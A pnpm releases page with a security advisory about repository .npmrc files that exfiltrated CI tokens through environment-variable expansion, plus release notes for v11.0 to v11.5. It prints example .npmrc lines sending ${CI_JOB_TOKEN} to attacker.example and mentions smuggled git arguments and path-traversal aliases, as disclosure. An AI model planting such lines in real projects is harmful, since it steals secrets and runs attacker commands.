releases.shpreview
pnpm/pnpm

pnpm

Mon
Wed
Fri
JunJulAugSepOctNovDecJanFebMarAprMayJun
Less
More
Releases8Avg2/moVersionsv10.32 to v11.5

pnpm used to expand ${ENV_VAR} placeholders everywhere it found them — including in the .npmrc and pnpm-workspace.yaml files that live inside the repository you just cloned. That turned out to be a way for a malicious repository to steal the secrets in your environment. As of v10.34.2 and v11.5.3, pnpm stops expanding environment variables in repository-controlled registry and credential settings.

This was a security fix (GHSA-3qhv-2rgh-x77r), and it is a breaking change for some setups. This post explains the attack, what exactly changed, and how to migrate.

The attack

A .npmrc committed to a repository is attacker-controlled the moment you clone the repo. Before this change, pnpm would expand environment variables in that file when resolving dependencies — before any lifecycle script ran, so even pnpm's script-blocking protections didn't help.

Consider a repository that ships this .npmrc:

<span class="token-line" style="color:#393A34"><span class="token key attr-name" style="color:#00a4db">registry</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">https://attacker.example/${CI_JOB_TOKEN}/</span><br></span>

or this one:

<span class="token-line" style="color:#393A34"><span class="token key attr-name" style="color:#00a4db">registry</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">https://attacker.example/</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">//attacker.example/:_authToken</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">${CI_JOB_TOKEN}</span><br></span>

When you ran pnpm install with CI_JOB_TOKEN (or any other guessable secret) present in your environment, pnpm expanded the placeholder and sent the secret straight to the attacker — either in the request URL (https://attacker.example/<secret>/...) or in an Authorization: Bearer <secret> header. The same trick worked through registry URLs in pnpm-workspace.yaml.

No install scripts, no postinstall — just resolving dependencies was enough to exfiltrate a token.

What changed

pnpm now treats environment expansion as trust-aware. Environment variables are no longer expanded when the value comes from a repository-controlled file:

  • In the project and workspace .npmrc: registry, @scope:registry, proxy URLs, URL-scoped keys (//host/…), and credential values (_authToken, _auth, _password, username, tokenHelper, cert, key).
  • In pnpm-workspace.yaml: registry URLs (registry, and the values of registries / namedRegistries).

A setting that contains a ${...} placeholder in one of these positions is ignored, and pnpm prints a warning explaining how to migrate it.

Environment variables are still expanded in config that doesn't come from the repository:

  • your user-level ~/.npmrc (and the file pointed to by npmrcAuthFile);
  • the global configuration;
  • command-line options;
  • environment config.

That boundary is the whole point: a token belongs in a location you control, not one that ships with the code you're about to install. We also hardened a related edge case where a repository .npmrc could redirect which file pnpm treats as trusted user/global config (via userconfig, globalconfig, or prefix); those destinations are now resolved only from trusted sources.

How to migrate

If your authentication broke after upgrading, move the token out of the committed .npmrc and into a trusted location.

Write it to your user/global config (this is what pnpm's own CI does):

<span class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">pnpm</span><span class="token plain"> config </span><span class="token builtin class-name">set</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"//registry.npmjs.org/:_authToken"</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$NPM_TOKEN</span><span class="token string" style="color:#e3116c">"</span><br></span>

pnpm config set writes to your user/global config by default, never to the project .npmrc, so the token stays out of the repository.

Or keep the ${NPM_TOKEN} line in your user-level ~/.npmrc instead of the repository — environment variables are still expanded there.

In GitHub Actions, actions/setup-node with the registry-url input already writes a user-level .npmrc, so authenticating through NODE_AUTH_TOKEN keeps working with no further changes:

<span class="token-line" style="color:#393A34"><span class="token punctuation" style="color:#393A34">-</span><span class="token plain"> </span><span class="token key atrule" style="color:#00a4db">uses</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> actions/setup</span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain">node@v4</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token key atrule" style="color:#00a4db">with</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">node-version</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">24</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">registry-url</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> https</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain">//registry.npmjs.org</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain"> </span><span class="token key atrule" style="color:#00a4db">run</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> pnpm install</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token key atrule" style="color:#00a4db">env</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">NODE_AUTH_TOKEN</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> $</span><span class="token punctuation" style="color:#393A34">{</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> secrets.NPM_TOKEN </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">}</span><br></span>

On other CI systems where editing every pipeline is impractical, you can declare the repository's own .npmrc trusted by setting one environment variable in the CI environment:

<span class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># v11:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">PNPM_CONFIG_NPMRC_AUTH_FILE</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">.npmrc</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># v10 (or as a fallback):</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">NPM_CONFIG_USERCONFIG</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">.npmrc</span><br></span>

Because that trust declaration comes from the environment — not from the repository — a malicious repo can't set it for you. Only use it in environments that build trusted repositories: it disables the protection for that checkout entirely.

Dynamic registry URLs

The same rule applies to registry and proxy URLs. If you used an environment variable to template a registry URL, move it to a trusted source (pnpm config set, your user ~/.npmrc, a CLI option, or environment config). If the URL isn't secret, you can simply write the resolved value directly in the project .npmrc — only ${...} placeholders are ignored, literal URLs are fine.

Sorry about the breakage

Shipping a breaking change in a patch release is not something we do lightly, and we know it disrupted some CI pipelines. But this was a reported vulnerability with a working exploit, and leaving it open — or waiting for the next major — would have meant knowingly shipping a way for any repository to read your secrets. Backporting the fix to v10 as a patch was the only way existing users would actually receive it.

For the full migration guide, see the authentication settings documentation.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:` <a href="##link##" class="native-banner" style="background: ##backgroundColor##" rel="sponsored noopener" target="\_blank" title="##company## — ##tagline##"> <img class="native-img" width="125" src="##logo##" /> <div class="native-main"> <div class="native-details" style=" color: ##textColor##; border-left: solid 1px ##textColor##; "> <span class="native-desc">##description##</span> </div> <span class="native-cta" style=" color: ##ctaTextColor##; background-color: ##ctaBackgroundColor##; ">##callToAction##</span> </div> </a> `})

v11.5

pnpm 11.5 adds a hoistingLimits setting for controlling how far dependencies hoist in nodeLinker: hoisted installs, replaces the interactive prompt library to fix scrolling in long choice lists, recognizes staged publishes in the trust scale, and ships several install and dist-tag fixes.

Minor Changes

New hoistingLimits setting

A new hoistingLimits setting controls how far dependencies are hoisted when using nodeLinker: hoisted. It mirrors yarn's nmHoistingLimits and accepts:

  • none - hoist as far as possible (the default).
  • workspaces - hoist only as far as each workspace package.
  • dependencies - hoist only up to each workspace package's direct dependencies.

Originally proposed in #6468, closing #6457.

New interactive prompt library

pnpm replaced enquirer with @inquirer/prompts for all interactive prompts. This fixes the update -i scrolling overflow bug where long choice lists were clipped in the terminal (#6643). The new library uses visual-line-aware pagination, so scrolling now works correctly when many packages are available.

Affected commands include pnpm update -i (and --latest), pnpm audit --fix -i, pnpm approve-builds, pnpm patch, pnpm patch-remove, pnpm publish, pnpm login, and pnpm run / pnpm exec (with verifyDepsBeforeRun=prompt).

Vim-style j / k keys still work for up/down navigation in all interactive prompts.

Staged publishes recognized in the trust scale

Staged publishes are now recognized in the trust scale. When a package version's registry metadata carries an approver field, it is treated as the strongest trust evidence (ranked above trusted publishers and provenance attestations), since staged publishes require 2FA publish approvals. This prevents false-positive trust downgrade errors when moving from a staged publish to a lower trust level (#11887).

Patch Changes

  • Fix pnpm hanging during peer resolution when an aliased install pulls in transitive packages with mutual peer cycles at different depths in the dependency tree (for example, pnpm i nuxt@npm:nuxt-nightly@5x) (#11999).
  • Fix pnpm dist-tag add and pnpm dist-tag rm against npmjs.org failing without --otp. pnpm now surfaces the OTP challenge through the existing browser-based 2FA flow (the same one used by pnpm publish), so the browser opens, the user authenticates, and the dist-tag is set on retry. --otp=<code> continues to work via the classic flow.
  • Fix minimumReleaseAgeExclude handling in npm resolution fast paths so excluded packages do not get pinned to stale versions.
  • Fix the integrity field being dropped from the lockfile entry of a remote (non-registry) https-tarball dependency when an unrelated package is installed afterwards. The missing integrity could otherwise make subsequent --frozen-lockfile installs fail with ERR_PNPM_MISSING_TARBALL_INTEGRITY (#12001).
  • Skip dependency re-resolution when pnpm-lock.yaml is missing but node_modules/.pnpm/lock.yaml exists and still satisfies the manifest. pnpm install now reuses the materialized snapshot to regenerate pnpm-lock.yaml instead of walking the registry to rebuild it from scratch (#11993). --frozen-lockfile still refuses to proceed when pnpm-lock.yaml is absent.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:` <a href="##link##" class="native-banner" style="background: ##backgroundColor##" rel="sponsored noopener" target="\_blank" title="##company## — ##tagline##"> <img class="native-img" width="125" src="##logo##" /> <div class="native-main"> <div class="native-details" style=" color: ##textColor##; border-left: solid 1px ##textColor##; "> <span class="native-desc">##description##</span> </div> <span class="native-cta" style=" color: ##ctaTextColor##; background-color: ##ctaBackgroundColor##; ">##callToAction##</span> </div> </a> `})

v11.4

pnpm 11.4 closes a cluster of supply-chain holes around lockfile integrity, credential scoping, git resolutions, patch files, and dependency aliases, makes tarball-integrity mismatches a hard install failure by default (with a narrowly-scoped --update-checksums opt-in), and changes pnpm runtime set to write to devEngines.runtime instead of engines.runtime by default.

Minor Changes

Tarball-integrity mismatches are now a hard failure

Previously, pnpm install (non-frozen) would log ERR_PNPM_TARBALL_INTEGRITY when a downloaded tarball's hash didn't match the lockfile, silently re-resolve from the registry, and overwrite the locked integrity. A compromised registry, proxy, or republished version could therefore substitute attacker-controlled content on a clean machine even though the project shipped a committed lockfile.

pnpm install now exits with ERR_PNPM_TARBALL_INTEGRITY and a hint pointing at the new opt-in flag.

The only opt-in is pnpm install --update-checksums — narrowly scoped to refreshing the locked integrity values from what the registry currently serves. It mirrors yarn's flag of the same name. A warning still prints when the bypass takes effect so the operation is auditable.

--force and pnpm update deliberately do not bypass the integrity check. They are routine refresh operations; silently overwriting a locked integrity in those flows would erase the protection a committed lockfile is supposed to provide. --frozen-lockfile behavior is unchanged. --fix-lockfile keeps its documented purpose (filling in missing lockfile entries) and is also not a bypass.

pnpm runtime set writes to devEngines.runtime by default

pnpm runtime set <name> <version> now saves the runtime to devEngines.runtime by default instead of engines.runtime. Pass --save-prod (or -P) to save it to engines.runtime instead. See #11948.

Patch Changes

Security: unscoped credentials no longer leak across registries

An unscoped _authToken (or _auth, or username + _password, or tokenHelper) defined in one source — ~/.npmrc, ~/.config/pnpm/auth.ini, a workspace .npmrc, CLI flags, etc. — would be sent as an Authorization header to whichever registry a different (potentially untrusted) source named. The same exposure extended to client TLS credentials (cert, key).

pnpm now rewrites each unscoped per-registry setting (_authToken, _auth, username, _password, tokenHelper, cert, key) to its URL-scoped form at load time, using the registry= value declared in the same source (or the npmjs default registry if the source declares none). A later layer overriding registry= therefore cannot pull an unscoped credential along, because it is already pinned to the URL its author intended. ca / cafile are intentionally not rescoped — they're trust anchors, not credentials, and corporate MITM-proxy setups rely on them applying globally.

Every rescope emits a deprecation warning telling the user where the setting was pinned and how to write it directly. npm has rejected unscoped credentials outright since npm@9, and pnpm intends to remove support in a future major release. To target a specific registry, write the setting URL-scoped:

.npmrc

<span class="token-line" style="color:#393A34"><span class="token key attr-name" style="color:#00a4db">//registry.example.com/:_authToken</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">...</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">//registry.example.com/:cert</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">...</span><br></span>
Security: lockfile entries without integrity are rejected

Previously, the worker that extracts a downloaded tarball skipped hash verification when no integrity was supplied and minted a fresh one from the unverified bytes. An attacker who could both alter the lockfile (e.g. via a pull request that strips integrity:) and serve modified content at the referenced tarball URL could install a tampered package without any error — including under --frozen-lockfile.

pnpm now fails closed at lockfile-read time with ERR_PNPM_MISSING_TARBALL_INTEGRITY. Git-hosted tarballs (gitHosted: true or a URL on codeload.github.com / bitbucket.org / gitlab.com) and file: tarballs are exempt — the commit SHA in a git-host URL and the user-controlled local path already anchor the bytes.

Security: git resolutions reject non-SHA commit fields

Git resolutions whose commit field is not a 40-character hexadecimal SHA are rejected before git is invoked. A malicious lockfile could otherwise smuggle a value such as --upload-pack=<command> through git fetch / git checkout, which on SSH or local-file transports executes the supplied command.

Security: patch files writing outside the package directory are rejected

Patch files whose diff --git headers reference paths outside the patched package directory are now rejected. Previously a malicious .patch file added via a pull request could write, delete, or rename arbitrary files reachable by the user running pnpm install.

Security: dependency aliases with path-traversal segments are rejected

Dependency aliases that contain path-traversal segments (such as @x/../../../../../.git/hooks) are rejected when read from a package manifest or symlinked into node_modules. A malicious registry package could otherwise use a transitive dependency key to make pnpm install create symlinks at attacker-chosen paths outside the intended node_modules directory.

Trusted-publisher metadata now requires provenance

Trusted publisher metadata is only treated as the strongest trust evidence when provenance is also present.

Other fixes
  • Fix pnpm deploy crashing with ENOENT: ... lstat '<deployDir>/node_modules' when configDependencies declares pacquet (pacquet or @pnpm/pacquet). The deploy directory never installs config dependencies, so the install engine they designate isn't on disk to invoke; the nested install now skips them.
  • Limit concurrent project manifest reads while listing large workspaces to avoid EMFILE errors.
  • Validate devEngines.runtime and engines.runtime version ranges for node, deno, and bun when onFail is set to error or warn. Previously these settings only had an effect with onFail: 'download' — the error and warn modes silently did nothing #11818. Violations now throw ERR_PNPM_BAD_RUNTIME_VERSION.
  • Improve the log message that pnpm prints after auto-adding entries to minimumReleaseAgeExclude when minimumReleaseAge is set without minimumReleaseAgeStrict. The message previously referred to the internal "loose mode" terminology, which wasn't searchable in the docs; it now tells the user to set minimumReleaseAgeStrict to true if they want these updates gated behind a prompt instead #11747.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:` <a href="##link##" class="native-banner" style="background: ##backgroundColor##" rel="sponsored noopener" target="\_blank" title="##company## — ##tagline##"> <img class="native-img" width="125" src="##logo##" /> <div class="native-main"> <div class="native-details" style=" color: ##textColor##; border-left: solid 1px ##textColor##; "> <span class="native-desc">##description##</span> </div> <span class="native-cta" style=" color: ##ctaTextColor##; background-color: ##ctaBackgroundColor##; ">##callToAction##</span> </div> </a> `})

v11.3

pnpm 11.3 adds support for npm's staged publishing (pnpm stage), the new trustLockfile setting for skipping the supply-chain verification pass on already-trusted lockfiles, and native implementations of pnpm pkg, pnpm repo, and pnpm set-script. It also adds a --skip-manifest-obfuscation flag for pack / publish and cuts the memory footprint of minimumReleaseAge / trustPolicy verification on large workspaces.

Minor Changes

pnpm stage

A new pnpm stage command brings npm's staged publishing workflow to pnpm. Staged publishing lets you publish a version that's hidden from npm install until you explicitly approve it — useful for verifying release artifacts, smoke-testing CI, or coordinating multi-package releases.

The available subcommands are:

<span class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">pnpm</span><span class="token plain"> stage publish    </span><span class="token comment" style="color:#999988;font-style:italic"># publish a version into staging</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">pnpm</span><span class="token plain"> stage list       </span><span class="token comment" style="color:#999988;font-style:italic"># list staged versions</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">pnpm</span><span class="token plain"> stage view       </span><span class="token comment" style="color:#999988;font-style:italic"># view a staged version</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">pnpm</span><span class="token plain"> stage approve    </span><span class="token comment" style="color:#999988;font-style:italic"># promote a staged version to the registry</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">pnpm</span><span class="token plain"> stage reject     </span><span class="token comment" style="color:#999988;font-style:italic"># discard a staged version</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">pnpm</span><span class="token plain"> stage download   </span><span class="token comment" style="color:#999988;font-style:italic"># download a staged tarball</span><br></span>
trustLockfile

A new trustLockfile setting controls whether pnpm install re-applies the minimumReleaseAge / trustPolicy: 'no-downgrade' checks to every entry in the loaded lockfile. When true, the install treats the lockfile as already-trusted and skips the verification pass — useful for closed-source projects where every commit comes from a trusted author. The default is false, so verification stays on by default.

Set it in pnpm-workspace.yaml:

pnpm-workspace.yaml

<span class="token-line" style="color:#393A34"><span class="token key atrule" style="color:#00a4db">trustLockfile</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token boolean important" style="color:#36acaa">true</span><br></span>

This release also cuts the memory footprint of the verification pass itself: the per-(registry, name) trust-meta cache previously retained the full packument — dependency graphs, scripts, README, and per-version manifests — for the entire install. On large workspaces (~4k lockfile entries with minimumReleaseAge + trustPolicy: no-downgrade enabled) this could OOM CI runners with a 2 GB heap cap. The cache now stores only the fields the trust check actually reads (time, per-version _npmUser.trustedPublisher, dist.attestations.provenance); the abbreviated-metadata cache is similarly projected to just the package-level modified field and the set of currently-listed version names. Fixes #11860.

Native pnpm pkg, pnpm repo, and pnpm set-script

Three more commands that previously delegated to (or were missing without) npm are now implemented natively, following the npm command conventions:

  • pnpm pkg — get / set / delete fields in package.json.
  • pnpm repo — open the repository URL of a package in the browser.
  • pnpm set-script (alias ss) — add or update an entry in the scripts field of the project manifest. Supports package.json, package.json5, and package.yaml formats.
--skip-manifest-obfuscation for pack and publish

A new --skip-manifest-obfuscation flag for pnpm pack and pnpm publish keeps the original packageManager field and publish lifecycle scripts in the packed/published manifest instead of stripping them. The pnpm-specific pnpm field continues to be omitted.

Patch Changes

  • Fixed pnpm dlx failing with ERR_PNPM_NO_IMPORTER_MANIFEST_FOUND when the installed package's CAS slot is missing its package.json. Observed in the wild for pnpm dlx node@runtime:<version> when the GVS slot was populated without the synthesized manifest runtime archives need. dlx now falls back to the scopeless package name when the slot's manifest is unreadable — for single-bin packages (the dlx common case, including every runtime: spec) this matches what manifest.bin would have named.
  • Fixed non-determinism in pnpm dedupe and pnpm install when a dependency graph contains packages with transitive peer dependencies on each other (e.g. @aws-sdk/client-sts and @aws-sdk/client-sso-oidc) and auto-install-peers is enabled. The lockfile no longer flips between two equally-valid forms across consecutive runs. The root cause was that resolveDependencies pushed onto its pkgAddresses / postponedResolutionsQueue arrays from inside Promise.all-spawned callbacks, so completion-order timing leaked into the array order and downstream cyclic-peer suffix assignment. Fixes #8155.
  • Fixed a regression where pnpm add <github-shorthand> (and any other wanted-dependency whose alias can't be parsed from the user-supplied spec, e.g. tarball URLs or pnpm/test-git-fetch#sha) was silently dropped from the manifest update and from pendingBuilds.
  • Fixed pnpm add --config leaving orphan entries in pnpm-lock.env.yaml (the optional subdependencies of the previously resolved version of the updated config dependency).

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:` <a href="##link##" class="native-banner" style="background: ##backgroundColor##" rel="sponsored noopener" target="\_blank" title="##company## — ##tagline##"> <img class="native-img" width="125" src="##logo##" /> <div class="native-main"> <div class="native-details" style=" color: ##textColor##; border-left: solid 1px ##textColor##; "> <span class="native-desc">##description##</span> </div> <span class="native-cta" style=" color: ##ctaTextColor##; background-color: ##ctaBackgroundColor##; ">##callToAction##</span> </div> </a> `})

v11.2

pnpm 11.2 ships an experimental opt-in into pacquet (the Rust port of pnpm) as the install backend, expands config dependencies to install one level of optionalDependencies (so the esbuild/swc platform-binary pattern works for config deps too), wires up the long-documented pnpm login --scope flag, and surfaces runtime entries (Node.js, Deno, Bun) in pnpm outdated and pnpm update --interactive.

Minor Changes

Experimental: pacquet as the install backend

Adding @pnpm/pacquet (the Rust port of pnpm) to configDependencies in pnpm-workspace.yaml now delegates the materialization phase of pnpm install to the pacquet binary. pnpm still owns dependency resolution; pacquet only fetches and imports from the freshly-written lockfile. This is an opt-in preview of the Rust install engine — see #11723.

To configure pacquet in a project, run:

<span class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">pnpm</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">add</span><span class="token plain"> @pnpm/pacquet </span><span class="token parameter variable" style="color:#36acaa">--config</span><br></span>

You'll see changes in pnpm-workspace.yaml and pnpm-lock.yaml that should be committed. If you experience any issues with pacquet, please let us know in the GitHub issue you create.

optionalDependencies for config dependencies

Config dependencies now resolve and install one level of optionalDependencies declared by the config dependency, with os / cpu / libc platform filtering applied at install time. This unlocks the esbuild/swc-style pattern where a package ships platform-specific binaries via optionalDependencies — a config dependency can now do the same and have the matching binary symlinked next to it in the global virtual store, so require('pkg-platform-arch') from inside the config dependency resolves correctly.

The env lockfile records all platform variants regardless of host platform, so it remains portable across machines. Each entry in a config dependency's optionalDependencies must declare an exact version — ranges and tags are rejected to keep installs reproducible.

pnpm login --scope

The long-documented pnpm login --scope <scope> flag is now implemented. The scope is normalized (a leading @ is added if missing; blank values are ignored) and an @<scope>:registry=<registry> mapping is written to the pnpm auth file alongside the auth token. Subsequent installs of @<scope>/* packages then route to the chosen registry. Previously the documented flag errored with Unknown option: 'scope'. See #11716.

Runtimes in outdated and update --interactive

pnpm outdated and pnpm update --interactive now report Node.js, Deno, and Bun runtimes installed as project dependencies (runtime: specifiers). Previously these were silently skipped.

Patch Changes

  • Fixed cafile=<relative-path> in .npmrc being read from the wrong directory when pnpm is invoked from a different cwd (e.g. pnpm --dir <project> install from a CI wrapper or monorepo script). The path is now resolved against the directory of the .npmrc that declared it, not process.cwd(). Before this fix, the install proceeded without the configured CA and the user only saw TLS errors against a private registry with no log line tying back to the wrongly resolved path #11624.
  • Fixed config.registry getting a trailing slash appended when registry is set in .npmrc and no registries.default is provided by pnpm-workspace.yaml.
  • Fixed global add/update to handle minimumReleaseAge policy violations instead of surfacing an internal resolver guardrail error.
  • Fixed two crashes with injectWorkspacePackages: true when the lockfile has been pruned (e.g. by turbo prune --docker): a Cannot use 'in' operator to search for 'directory' in undefined from peer-dependency-variant injected snapshots whose base packages: entry had been dropped, and an ERR_PNPM_ENOENT on node_modules/.bin/<tool> after prepare / postinstall re-imported each injected workspace package.
  • Fixed pnpm login and pnpm logout ignoring registries.default from pnpm-workspace.yaml #10099.
  • Fixed the minimumReleaseAge (publishedBy) maturity shortcut to be inclusive at the cutoff. Previously, abbreviated metadata whose modified field equalled the cutoff fell off the fast path and triggered a full-metadata re-fetch (or a MISSING_TIME error when full metadata wasn't permitted).
  • Honor publishConfig.access when publishing packages.

11.2.1

  • Mark optional subdependency snapshots of config dependencies with optional: true in the env lockfile, matching how optional dependencies are recorded elsewhere in pnpm-lock.yaml. Previously, snapshots for the platform-specific subdeps pulled in via a config dep's optionalDependencies were written as empty objects.
  • Fixed pickRegistryForPackage returning the wrong registry for an unscoped npm: alias under a scoped local name. A manifest entry like "@private/foo": "npm:lodash@^1" was routing the lodash fetch through registries["@private"], even though lodash is unscoped.
  • Don't print Installing config dependencies... when config dependencies are already installed and nothing needs to be fetched, re-linked, or removed.

11.2.2

  • When the install engine is delegated to pacquet via configDependencies, the user's CLI flags passed to pnpm install (e.g. --no-runtime, --prod, --dev, --no-optional, --node-linker, --cpu / --os / --libc, --offline, --prefer-offline) are now forwarded to pacquet's install subcommand verbatim. Previously pacquet was invoked with a fixed argument list, so flags like --no-runtime were silently dropped. Flag forwarding is gated on the command being install / i; add, update, and dedupe still don't forward (their flag surface doesn't line up with pacquet's install).
  • Fixed pnpm up (and pnpm add / pnpm remove) failing with pacquet_package_manager::outdated_lockfile when pacquet is declared in configDependencies. pnpm now passes --ignore-manifest-check to pacquet so its --frozen-lockfile check doesn't fire against the (pre-mutation) package.json pnpm hasn't written yet #11797.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:` <a href="##link##" class="native-banner" style="background: ##backgroundColor##" rel="sponsored noopener" target="\_blank" title="##company## — ##tagline##"> <img class="native-img" width="125" src="##logo##" /> <div class="native-main"> <div class="native-details" style=" color: ##textColor##; border-left: solid 1px ##textColor##; "> <span class="native-desc">##description##</span> </div> <span class="native-cta" style=" color: ##ctaTextColor##; background-color: ##ctaBackgroundColor##; ">##callToAction##</span> </div> </a> `})

v11.1

pnpm 11.1 adds a few new commands — pnpm audit signatures, pnpm bugs, and pnpm owner — alongside support for installing from arbitrary named registries (including a built-in alias for the GitHub Packages npm registry), the ability to skip runtime installation in CI, and several fixes.

Minor Changes

pnpm audit signatures

A new pnpm audit signatures subcommand verifies ECDSA registry signatures for installed packages against keys published at /-/npm/v1/keys #7909. Scoped registries are respected; registries that don't publish signing keys are skipped.

pnpm audit signatures
Named registries (and a built-in gh: alias)

You can now install packages from the GitHub Packages npm registry via a built-in gh: prefix, and — more broadly — from arbitrary named registries in the style of vlt's named-registry aliases:

pnpm add gh:@acme/private

Authentication is picked up from existing per-URL .npmrc entries (e.g. //npm.pkg.github.com/:_authToken=...), so no separate auth mechanism is required.

Additional aliases — or an override for the built-in gh alias, for GitHub Enterprise Server — can be configured under namedRegistries in pnpm-workspace.yaml:

pnpm-workspace.yaml

namedRegistries:
  gh: https://npm.pkg.github.example.com/
  work: https://npm.work.example.com/

With this, work:@corp/lib@^2.0.0 resolves against https://npm.work.example.com/. See #8941.

--sbom-spec-version

pnpm sbom now accepts a --sbom-spec-version flag to choose the CycloneDX specification version (1.5, 1.6, or 1.7 — default 1.7). The flag is only valid with --sbom-format cyclonedx. See #11389.

--no-runtime for CI matrices

A new --no-runtime flag (config: runtime=false) skips installing runtime entries (e.g. Node.js downloaded via devEngines.runtime) without modifying the lockfile. The lockfile keeps the runtime entry so frozen-lockfile validation still passes; only the runtime fetch and .bin linking are skipped. This is useful in CI matrices where the runtime is provisioned externally (e.g. via pnpm runtime -g set node ) before pnpm install runs.

pnpm bugs

The new pnpm bugs command opens a package's bug tracker URL in the browser. With no arguments, it reads the current project's package.json; with one or more package names, it fetches each package's metadata from the registry and opens its bug tracker. It falls back to /issues when the bugs field is missing. See #11279.

pnpm owner

The new pnpm owner command manages package owners on the registry:

pnpm owner ls package>
pnpm owner add package> user>
pnpm owner rm package> user>

Patch Changes

pnpm view now prints "published X ago by Y" alongside the rest of its output, mirroring npm view. This is useful when comparing against minimumReleaseAge. For example, pnpm view pnpm now shows published 17 hours ago by GitHub Actions.

pnpm publish now honors the configured HTTP/HTTPS proxy (including the https_proxy / http_proxy / no_proxy environment variables) when polling the registry's doneUrl during the web-based authentication flow. Previously the poll bypassed the proxy, causing the registry to respond 403 from a different source IP and the login to never complete #11561.

pnpm add -g now installs each space-separated package into its own isolated directory by default. To bundle multiple packages into the same isolated install (so they share dependencies and are removed together), pass them as a comma-separated list. For example:

pnpm add -g foo bar installs foo and bar as two independent globals — removing one does not affect the other.

  • pnpm add -g foo,bar qar bundles foo and bar into a single isolated install while qar is installed on its own.

Related: #11587.

pnpm runtime set no longer fails in the root of a multi-package workspace with the ADDING_TO_ROOT error. Installing the workspace root is a valid target for a runtime, so the command now bypasses that safety check.

Fixed pnpm --version hanging for the lifetime of the worker pool after the version was printed. The CLI entry now runs finishWorkers() from its own finally, so every exit path tears the pool down.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:`

##description##

##callToAction##

`})

v11.0

pnpm 11 is here! This release tightens the security defaults introduced throughout the v10 cycle, drops the npm CLI fallback for publishing in favor of a native implementation, replaces the JSON-per-package store index with a single SQLite database, and isolates global installs so they no longer interfere with each other.

It also requires Node.js 22 or newer — pnpm itself is now pure ESM.

Upgrading from v10? See the Migrating from v10 to v11 guide. Most config changes are mechanical and can be applied by the pnpm-v10-to-v11 codemod.

Highlights

  • Node.js 22+ required. Support for Node 18, 19, 20, and 21 is dropped. The standalone executable requires glibc 2.27 or newer.

  • Supply-chain protection on by default. minimumReleaseAge defaults to 1440 (1 day) and blockExoticSubdeps defaults to true.

  • allowBuilds replaces the legacy build-dependency settings. onlyBuiltDependencies, onlyBuiltDependenciesFile, neverBuiltDependencies, ignoredBuiltDependencies, and ignoreDepScripts are gone.

  • Global installs are isolated and use the global virtual store by default. Each pnpm add -g gets its own directory with its own package.json, node_modules, and lockfile.

